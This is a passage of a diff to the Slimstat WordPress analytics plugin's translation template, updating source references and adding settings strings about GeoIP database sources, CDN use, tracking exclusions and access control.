visitors' browser information. Updates are downloaded automatically every week, when available.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:187\n+#: admin\u002Fconfig\u002Findex.php:305\n+#: admin\u002Fconfig\u002Findex.php:387\n #, php-format\n msgid \"You are currently using version %s.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:192\n+#: admin\u002Fconfig\u002Findex.php:310\n msgid \"Advanced Options\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:196\n+#: admin\u002Fconfig\u002Findex.php:314\n msgid \"Geolocation Precision\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:198\n+#: admin\u002Fconfig\u002Findex.php:316\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:135\n msgid \"Country\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:199\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:51\n+#: admin\u002Fconfig\u002Findex.php:317\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:54\n+#: src\u002FServices\u002FPrivacy\u002FDataExporter.php:142\n msgid \"City\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:200\n-msgid \"Slimstat determines your visitors' Country of origin through third-party libraries. This information is available in two precision levels: country and city. By default, Slimstat will install the country precision level. Use this option to switch to the more granular level, if you don't mind its 60 Mb average size.\"\n+#: admin\u002Fconfig\u002Findex.php:318\n+msgid \"Choose between Country and City precision. City uses a larger database and may take longer to download (and more disk space). Country is smaller and faster. Applies to DB‑IP and MaxMind; Cloudflare always provides country only.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:203\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:387\n+#: admin\u002Fconfig\u002Findex.php:321\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:389\n msgid \"Visit Duration\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:205\n-#: admin\u002Fconfig\u002Findex.php:306\n+#: admin\u002Fconfig\u002Findex.php:323\n+#: admin\u002Fconfig\u002Findex.php:456\n+#: wp-slimstat.php:264\n msgid \"seconds\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:206\n+#: admin\u002Fconfig\u002Findex.php:324\n msgid \"How many seconds should a human visit last? Google Analytics sets it to 1800 seconds.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:209\n+#: admin\u002Fconfig\u002Findex.php:327\n msgid \"Extend Duration\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:211\n+#: admin\u002Fconfig\u002Findex.php:329\n msgid \"Reset your visitors' visit duration every time they access a new page within the current visit.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:214\n+#: admin\u002Fconfig\u002Findex.php:334\n+msgid \"Performance\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:338\n msgid \"Enable CDN\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:216\n+#: admin\u002Fconfig\u002Findex.php:340\n msgid \"Use \u003Ca href='https:\u002F\u002Fwww.jsdelivr.com\u002F' target='_blank'>JSDelivr\u003C\u002Fa>'s CDN, by serving our tracking code from their fast and reliable network (free service).\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:219\n+#: admin\u002Fconfig\u002Findex.php:343\n msgid \"Relative Ajax\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:221\n+#: admin\u002Fconfig\u002Findex.php:345\n msgid \"Try enabling this option if you are experiencing issues related to the header field X-Requested-With not being allowed by Access-Control-Allow-Headers in preflight response (or similar).\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:226\n+#: admin\u002Fconfig\u002Findex.php:350\n msgid \"External Pages\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:230\n+#: admin\u002Fconfig\u002Findex.php:354\n msgid \"Allowed Domains\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:232\n+#: admin\u002Fconfig\u002Findex.php:356\n msgid \"If you are getting an error saying that no 'Access-Control-Allow-Origin' header is present on the requested resource, when using the external tracking code here above, list the domains (complete with scheme) you would like to allow. For example: \u003Ccode>https:\u002F\u002Fmy.domain.ext\u003C\u002Fcode> (no trailing slash). Please see \u003Ca href='https:\u002F\u002Fwww.w3.org\u002FTR\u002Fcors\u002F#security' target='_blank'>this W3 resource\u003C\u002Fa> for more information on the security implications of allowing CORS requests.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:236\n+#: admin\u002Fconfig\u002Findex.php:360\n msgid \"Add the following code to all the non-WordPress pages you would like to track, right before the closing BODY tag. Please make sure to change the protocol of all the URLs to HTTPS, if you external site is using a secure channel.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:243\n-#: admin\u002Fconfig\u002Findex.php:471\n+#: admin\u002Fconfig\u002Findex.php:370\n+msgid \"GeoIP Database Source\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:373\n+msgid \"Disable\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:374\n+msgid \"Use the JsDelivr\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:375\n+msgid \"Use the MaxMind server with your own license key\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:377\n+msgid \"Choose a service to update the GeoIP database to ensure your geographic information is accurate and up-to-date.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:377\n+msgid \"\u003Cb>Note: \u003C\u002Fb>If the database file is missing, it will be downloaded when you save the settings.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:382\n+msgid \"To be able to automatically download and update the MaxMind GeoLite2 database, you must sign up on \u003Ca href=\\\"https:\u002F\u002Fdev.maxmind.com\u002Fgeoip\u002Fgeoip2\u002Fgeolite2\u002F\\\" target=\\\"_blank\\\">MaxMind GeoLite2\u003C\u002Fa> and create a license key. Then enter your license key in this field. Disable- and re-enable MaxMind Geolocation above to activate the license key. Note: It takes a couple of minutes after you created the license key to get it activated on the MaxMind website.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:393\n+#: admin\u002Fconfig\u002Findex.php:621\n msgid \"Reports\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:247\n+#: admin\u002Fconfig\u002Findex.php:397\n msgid \"Functionality\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:251\n+#: admin\u002Fconfig\u002Findex.php:401\n msgid \"Current Month\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:253\n+#: admin\u002Fconfig\u002Findex.php:403\n msgid \"Determine what time window to use for the reports. Enable this option to default to the current month, disable it to use the past X number of days (see option here below). Use the date and time filters for a more granular analysis.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:256\n+#: admin\u002Fconfig\u002Findex.php:406\n msgid \"Time Range\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:259\n+#: admin\u002Fconfig\u002Findex.php:408\n+#: admin\u002Fconfig\u002Findex.php:699\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:101\n+msgid \"days\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:409\n msgid \"Default number of days in the time window used to generate all the reports. We set it to 4 weeks so that the comparison charts will overlap nicely (i.e. Monday over Monday) for a more meaningful analysis. This value is ignored if the option here above is turned on.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:262\n-#: admin\u002Fconfig\u002Findex.php:309\n+#: admin\u002Fconfig\u002Findex.php:412\n+#: admin\u002Fconfig\u002Findex.php:459\n msgid \"Rows to Display\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:264\n-#: admin\u002Fconfig\u002Findex.php:312\n-#: admin\u002Fconfig\u002Findex.php:358\n+#: admin\u002Fconfig\u002Findex.php:414\n+#: admin\u002Fconfig\u002Findex.php:462\n+#: admin\u002Fconfig\u002Findex.php:508\n msgid \"rows\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:265\n+#: admin\u002Fconfig\u002Findex.php:415\n msgid \"Define the number of rows to display in Top and Recent reports. You can adjust this number to improve your server performance.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:268\n+#: admin\u002Fconfig\u002Findex.php:418\n msgid \"IP Geolocation\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:270\n+#: admin\u002Fconfig\u002Findex.php:420\n msgid \"Customize the URL of the geolocation service to be used in the Access Log. Default value: \u003Ccode>https:\u002F\u002Fwhatismyipaddress.com\u002Fip\u002F\u003C\u002Fcode>\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:273\n+#: admin\u002Fconfig\u002Findex.php:423\n msgid \"Comparison Chart\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:275\n+#: admin\u002Fconfig\u002Findex.php:425\n msgid \"Slimstat displays two sets of charts, allowing you to compare the current time window with the previous one. Disable this option if you find those four charts confusing, and prefer seeing only the selected time range. Please keep in mind that you can always temporarily hide one series by clicking on the corresponding entry in the legend.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:278\n+#: admin\u002Fconfig\u002Findex.php:428\n msgid \"Use Display Name\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:280\n+#: admin\u002Fconfig\u002Findex.php:430\n msgid \"By default, users are listed by their usernames. Enable this option to show their display names instead.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:283\n+#: admin\u002Fconfig\u002Findex.php:433\n msgid \"Display Titles\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:285\n+#: admin\u002Fconfig\u002Findex.php:435\n msgid \"For improved legibility, most reports list post and page titles instead of their permalinks. Use this option to change this behavior.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:288\n+#: admin\u002Fconfig\u002Findex.php:438\n msgid \"Display Hits\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:290\n+#: admin\u002Fconfig\u002Findex.php:440\n msgid \"By default, Top and Recent reports display the percentage of pageviews compared to the total for each entry, and the actual number of hits on hover in a tooltip. Enable this feature if you prefer to see the number of hits directly and the percentage in the tooltip.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:293\n+#: admin\u002Fconfig\u002Findex.php:443\n msgid \"Show Hostnames\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:295\n+#: admin\u002Fconfig\u002Findex.php:445\n msgid \"Enable this option to display the hostname associated to each IP address. Please note that this might affect performance, as Slimstat will need to query your DNS server for each address.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:300\n+#: admin\u002Fconfig\u002Findex.php:450\n msgid \"Access Log and World Map\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:304\n+#: admin\u002Fconfig\u002Findex.php:454\n msgid \"Auto Refresh\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:307\n+#: admin\u002Fconfig\u002Findex.php:457\n msgid \"When a value greater than zero is entered, the Access Log view will refresh every X seconds. Enter \u003Cstrong>0\u003C\u002Fstrong> (the number zero) if you would like to deactivate this feature.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:311\n+#: admin\u002Fconfig\u002Findex.php:461\n msgid \"Define the number of rows to visualize in the Access Log.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:314\n+#: admin\u002Fconfig\u002Findex.php:464\n msgid \"Map Data Points\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:316\n+#: admin\u002Fconfig\u002Findex.php:466\n msgid \"Customize the maximum number of data points displayed on the world map. Please note that larger numbers might negatively affect rendering times.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:317\n+#: admin\u002Fconfig\u002Findex.php:467\n msgid \"points\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:322\n+#: admin\u002Fconfig\u002Findex.php:472\n msgid \"Miscellaneous\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:326\n+#: admin\u002Fconfig\u002Findex.php:476\n msgid \"Custom CSS\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:330\n+#: admin\u002Fconfig\u002Findex.php:480\n msgid \"Enter your own stylesheet definitions to customize the way your reports look. \u003Ca href='https:\u002F\u002Fwp-slimstat.com\u002Ffaq\u002Fhow-can-i-change-the-colors-associated-to-color-coded-pageviews-known-user-known-visitors-search-engines-etc\u002F' target='_blank'>Check our FAQs\u003C\u002Fa> for more information on how to use this option.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:333\n+#: admin\u002Fconfig\u002Findex.php:483\n msgid \"Chart Colors\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:335\n+#: admin\u002Fconfig\u002Findex.php:485\n msgid \"Customize the look and feel of your charts by assigning your own colors to each metric. List four hex colors, in the following order: metric 1 previous, metric 2 previous, metric 1 current, metric 2 current. For example: \u003Ccode>#ccc, #999, #bbcc44, #21759b\u003C\u002Fcode>.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:337\n+#: admin\u002Fconfig\u002Findex.php:487\n msgid \"Mozscape Access ID\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:339\n+#: admin\u002Fconfig\u002Findex.php:489\n msgid \"Get accurate rankings for your website through the \u003Ca href=\\\"https:\u002F\u002Fmoz.com\u002Fcommunity\u002Fjoin?redirect=\u002Fproducts\u002Fapi\u002Fkeys\\\" target=\\\"_blank\\\">Mozscape API\u003C\u002Fa>. Sign up for a free community account to get started. Then enter your personal identification code in this field.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:341\n+#: admin\u002Fconfig\u002Findex.php:491\n msgid \"Mozscape Secret Key\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:343\n+#: admin\u002Fconfig\u002Findex.php:493\n msgid \"This key is needed to query the Mozscape API (see option here above). Treat it like a password and do not share it with anyone, or they will be able to make API requests using your account.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:346\n+#: admin\u002Fconfig\u002Findex.php:496\n msgid \"Show User Agent\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:348\n+#: admin\u002Fconfig\u002Findex.php:498\n msgid \"Enable this option if you want to see the full user agent string when hovering over each browser icon in the Access Log and elsewhere.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:351\n+#: admin\u002Fconfig\u002Findex.php:501\n msgid \"Async Mode\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:353\n+#: admin\u002Fconfig\u002Findex.php:503\n msgid \"Activate this feature if your reports take a while to load. It breaks down the load on your server into multiple smaller requests, thus avoiding memory issues and performance problems.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:356\n+#: admin\u002Fconfig\u002Findex.php:506\n msgid \"SQL Limit\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:359\n+#: admin\u002Fconfig\u002Findex.php:509\n msgid \"You can limit the number of records that each SQL query will take into consideration when crunching aggregate values (maximum, average, etc). You might need to adjust this value if you're getting an error saying that you exceeded your PHP memory limit while accessing the slimstat.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:362\n+#: admin\u002Fconfig\u002Findex.php:512\n msgid \"Enable SOV\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:364\n+#: admin\u002Fconfig\u002Findex.php:514\n msgid \"In linguistic typology, a subject-object-verb (SOV) language is one in which the subject, object, and verb of a sentence appear in that order, like in Japanese.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:370\n+#: admin\u002Fconfig\u002Findex.php:520\n msgid \"Exclusions\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:374\n+#: admin\u002Fconfig\u002Findex.php:524\n msgid \"User Properties\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:378\n+#: admin\u002Fconfig\u002Findex.php:528\n msgid \"WP Users\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:380\n+#: admin\u002Fconfig\u002Findex.php:530\n msgid \"If enabled, logged in WordPress users will not be tracked, neither on the website nor in the backend.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:383\n+#: admin\u002Fconfig\u002Findex.php:533\n msgid \"Spammers\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:385\n+#: admin\u002Fconfig\u002Findex.php:535\n msgid \"If enabled, visits from users identified as spammers by third-party tools like Akismet will not be tracked. Pageviews generated by users whose comments are later marked as spam, will also be removed from the database on a daily basis.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:388\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1203\n+#: admin\u002Fconfig\u002Findex.php:538\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1454\n msgid \"Bots\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:390\n+#: admin\u002Fconfig\u002Findex.php:540\n msgid \"If enabled, pageviews generated by crawlers, spiders, search engine bots, and other automated tools will not be tracked. Please note that if the tracker is set to work in Client mode, some of those pageviews might not be tracked anyway, since these tools usually do not run any embedded Javascript code.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:393\n+#: admin\u002Fconfig\u002Findex.php:543\n msgid \"Prefetch Requests\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:395\n+#: admin\u002Fconfig\u002Findex.php:545\n msgid \"\u003Ca href=\\\"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FLink_prefetching\\\" target=\\\"_blank\\\">Link Prefetching\u003C\u002Fa> is a technique that allows web browsers to pre-load resources, before the user clicks on the corresponding link. If enabled, this kind of requests will not be tracked.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:398\n-#: admin\u002Fconfig\u002Findex.php:486\n-#: admin\u002Fconfig\u002Findex.php:503\n-#: admin\u002Fconfig\u002Findex.php:520\n+#: admin\u002Fconfig\u002Findex.php:548\n+#: admin\u002Fconfig\u002Findex.php:636\n+#: admin\u002Fconfig\u002Findex.php:653\n+#: admin\u002Fconfig\u002Findex.php:670\n msgid \"Usernames\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:400\n+#: admin\u002Fconfig\u002Findex.php:550\n msgid \"Enter a list of usernames that should not be tracked. Please note that spaces are \u003Cem>not\u003C\u002Fem> ignored and that usernames are case sensitive. See note at the bottom of this page for more information on how to use wildcards.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:403\n+#: admin\u002Fconfig\u002Findex.php:553\n msgid \"Capabilities\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:405\n+#: admin\u002Fconfig\u002Findex.php:555\n msgid \"Enter a list of \u003Ca href=\\\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Farticle\u002Froles-and-capabilities\u002F\\\" target=\\\"_new\\\">WordPress capabilities\u003C\u002Fa>, so that users who have any of them assigned to their role will not be tracked. Please note that although capabilities are case-insensitive, it is recommended to enter them all in lowercase. See note at the bottom of this page for more information on how to use wildcards.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:408\n+#: admin\u002Fconfig\u002Findex.php:558\n msgid \"IP Addresses\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:410\n+#: admin\u002Fconfig\u002Findex.php:560\n msgid \"Enter a list of IP addresses that should not be tracked. Each subnet \u003Cstrong>must\u003C\u002Fstrong> be defined using the \u003Ca href='https:\u002F\u002Fwww.iplocation.net\u002Fsubnet-mask' target='_blank'>CIDR notation\u003C\u002Fa> (i.e. \u003Cem>192.168.0.0\u002F24\u003C\u002Fem>). This filter applies both to the public IP address and the originating IP address, if available. Using the CIDR notation, you will use octets to determine the mask. For example, 54.0.0.0\u002F8 matches any address that has 54 as the first number; 54.12.0.0\u002F16 matches any address that starts with 54.12, and so on.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:413\n+#: admin\u002Fconfig\u002Findex.php:563\n msgid \"Countries\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:415\n+#: admin\u002Fconfig\u002Findex.php:565\n msgid \"Enter a list of lowercase \u003Ca href=\\\"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FISO_3166-1_alpha-2\\\" target=\\\"_blank\\\">ISO 3166-1 country codes\u003C\u002Fa> (i.e.: \u003Ccode>us, it, es\u003C\u002Fcode>) that should not be tracked. Please note: this field does not allow wildcards.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:418\n+#: admin\u002Fconfig\u002Findex.php:568\n msgid \"Languages\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:420\n+#: admin\u002Fconfig\u002Findex.php:570\n msgid \"Enter a list of lowercase \u003Ca href=\\\"http:\u002F\u002Fwww.lingoes.net\u002Fen\u002Ftranslator\u002Flangcode.htm\\\" target=\\\"_blank\\\">ISO 639-1 language codes\u003C\u002Fa> (i.e.: \u003Ccode>en-us, fr-ca, zh-cn\u003C\u002Fcode>) that should not be tracked. Please note: this field does not allow wildcards.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:423\n+#: admin\u002Fconfig\u002Findex.php:573\n msgid \"User Agents\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:425\n+#: admin\u002Fconfig\u002Findex.php:575\n msgid \"Enter a list of browser names that should not be tracked. You can specify the browser's version adding a slash after the name (i.e. \u003Cem>Firefox\u002F36\u003C\u002Fem>). Technically speaking, Slimstat will match your list against the visitor's user agent string. Strings are case-insensitive. See note at the bottom of this page for more information on how to use wildcards.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:428\n+#: admin\u002Fconfig\u002Findex.php:578\n msgid \"Operating Systems\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:430\n+#: admin\u002Fconfig\u002Findex.php:580\n msgid \"Enter a list of operating system codes that should not be tracked. Please refer to \u003Ca href=\\\"https:\u002F\u002Fwp-slimstat.com\u002Fknowledge-base\u002F\\\" target=\\\"_blank\\\">this page\u003C\u002Fa> in our knowledge base to learn more about which codes can be used. See note at the bottom of this page for more information on how to use wildcards.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:435\n+#: admin\u002Fconfig\u002Findex.php:585\n msgid \"Page Properties\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:439\n+#: admin\u002Fconfig\u002Findex.php:589\n msgid \"Permalinks\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:441\n+#: admin\u002Fconfig\u002Findex.php:591\n msgid \"Enter a list of permalinks that should not be tracked. Do not include your website domain name: \u003Ccode>\u002Fabout, ?p=1\u003C\u002Fcode>, etc. See note at the bottom of this page for more information on how to use wildcards. Strings are case-insensitive.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:444\n+#: admin\u002Fconfig\u002Findex.php:594\n msgid \"Link Attributes: class names, REL and HREF\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:446\n+#: admin\u002Fconfig\u002Findex.php:596\n msgid \"Do not track events on page elements whose class names, \u003Cem>rel\u003C\u002Fem> attributes or \u003Cem>href\u003C\u002Fem> attribute contain one of the following strings. Please keep in mind that the class \u003Ccode>noslimstat\u003C\u002Fcode> is used to avoid tracking interactive links throughout the reports. If you remove it from this list, some features might not work as expected.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:449\n+#: admin\u002Fconfig\u002Findex.php:599\n msgid \"Referring Sites\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:451\n+#: admin\u002Fconfig\u002Findex.php:601\n msgid \"Enter a list of referring URLs that should not be tracked: \u003Ccode>https:\u002F\u002Fmysite.com*\u003C\u002Fcode>, \u003Ccode>*\u002Fignore-me-please\u003C\u002Fcode>, etc. See note at the bottom of this page for more information on how to use wildcards. Strings are case-insensitive and must include the protocol (https:\u002F\u002F, https:\u002F\u002F).\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:454\n+#: admin\u002Fconfig\u002Findex.php:604\n msgid \"Content Types\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:456\n+#: admin\u002Fconfig\u002Findex.php:606\n msgid \"Enter a list of Slimstat content types that should not be tracked: \u003Ccode>post, page, attachment, tag, 404, taxonomy, author, archive, search, feed, login\u003C\u002Fcode>, etc. See note at the bottom of this page for more information on how to use wildcards. String should be entered in lowercase.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:460\n+#: admin\u002Fconfig\u002Findex.php:610\n msgid \"\u003Cstrong>Wildcards\u003C\u002Fstrong>\u003Cbr>You can use the character \u003Ccode>*\u003C\u002Fcode> to match \u003Cem>any string, including the empty string\u003C\u002Fem>, and the character \u003Ccode>!\u003C\u002Fcode> to match \u003Cem>any character, including no character\u003C\u002Fem>. For example, \u003Ccode>user*\u003C\u002Fcode> matches user12 and userfoo, \u003Ccode>u*100\u003C\u002Fcode> matches user100 and ur100, \u003Ccode>user!0\u003C\u002Fcode> matches user10, user0 and user90, but not user100.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:467\n+#: admin\u002Fconfig\u002Findex.php:617\n msgid \"Access Control\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:475\n+#: admin\u002Fconfig\u002Findex.php:625\n msgid \"Restrict Authors\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:477\n+#: admin\u002Fconfig\u002Findex.php:627\n msgid \"Enable this option if you want your authors to only see slimstat related to their own content.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:480\n-#: admin\u002Fconfig\u002Findex.php:497\n-#: admin\u002Fconfig\u002Findex.php:514\n+#: admin\u002Fconfig\u002Findex.php:630\n+#: admin\u002Fconfig\u002Findex.php:647\n+#: admin\u002Fconfig\u002Findex.php:664\n msgid \"Minimum Capability\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:483\n+#: admin\u002Fconfig\u002Findex.php:633\n msgid \"Specify the minimum \u003Ca href='https:\u002F\u002Fwordpress.org\u002Fsupport\u002Farticle\u002Froles-and-capabilities\u002F' target='_new'>capability\u003C\u002Fa> your WordPress users must have to have to access the reports (default: \u003Ccode>manage_options\u003C\u002Fcode>). The field here below can be used to override this option for specific users.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:488\n+#: admin\u002Fconfig\u002Findex.php:638\n msgid \"Enter a list of usernames who should have access to the slimstat. Administrators are implicitly allowed, so you don't need to list them here below. Usernames are case sensitive. Wildcards are not allowed.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:493\n+#: admin\u002Fconfig\u002Findex.php:643\n msgid \"Customizer\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:500\n+#: admin\u002Fconfig\u002Findex.php:650\n msgid \"Specify the minimum \u003Ca href='https:\u002F\u002Fwordpress.org\u002Fsupport\u002Farticle\u002Froles-and-capabilities\u002F' target='_new'>capability\u003C\u002Fa> your WordPress users must have to access the Customizer (default: \u003Ccode>manage_options\u003C\u002Fcode>). The field here below can be used to override this option for specific users.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:505\n+#: admin\u002Fconfig\u002Findex.php:655\n msgid \"Enter a list of usernames who should have access to the customizer. Administrators are implicitly allowed, so you don't need to list them here below. Usernames are case sensitive. Wildcards are not allowed.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:510\n-#: admin\u002Fconfig\u002Findex.php:581\n-#: admin\u002Fconfig\u002Findex.php:779\n-#: admin\u002Findex.php:93\n+#: admin\u002Fconfig\u002Findex.php:660\n+#: admin\u002Fconfig\u002Findex.php:748\n+#: admin\u002Findex.php:96\n+#: admin\u002Fview\u002Fpartials\u002Fheader.php:131\n msgid \"Settings\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:517\n+#: admin\u002Fconfig\u002Findex.php:667\n msgid \"Specify the minimum \u003Ca href='https:\u002F\u002Fwordpress.org\u002Fsupport\u002Farticle\u002Froles-and-capabilities\u002F' target='_new'>capability\u003C\u002Fa> your WordPress users must have to configure Slimstat (default: \u003Ccode>manage_options\u003C\u002Fcode>). The field here below can be used to override this option for specific users.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:522\n+#: admin\u002Fconfig\u002Findex.php:672\n msgid \"Enter a list of usernames who should have access to the plugin settings. Please be advised that administrators \u003Cstrong>are not\u003C\u002Fstrong> implicitly allowed, so do not forget to include yourself! Usernames are case sensitive. Wildcards are not allowed.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:527\n+#: admin\u002Fconfig\u002Findex.php:677\n msgid \"REST API\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:531\n+#: admin\u002Fconfig\u002Findex.php:681\n msgid \"Tokens\"\n msgstr \"\"\n \n-#: 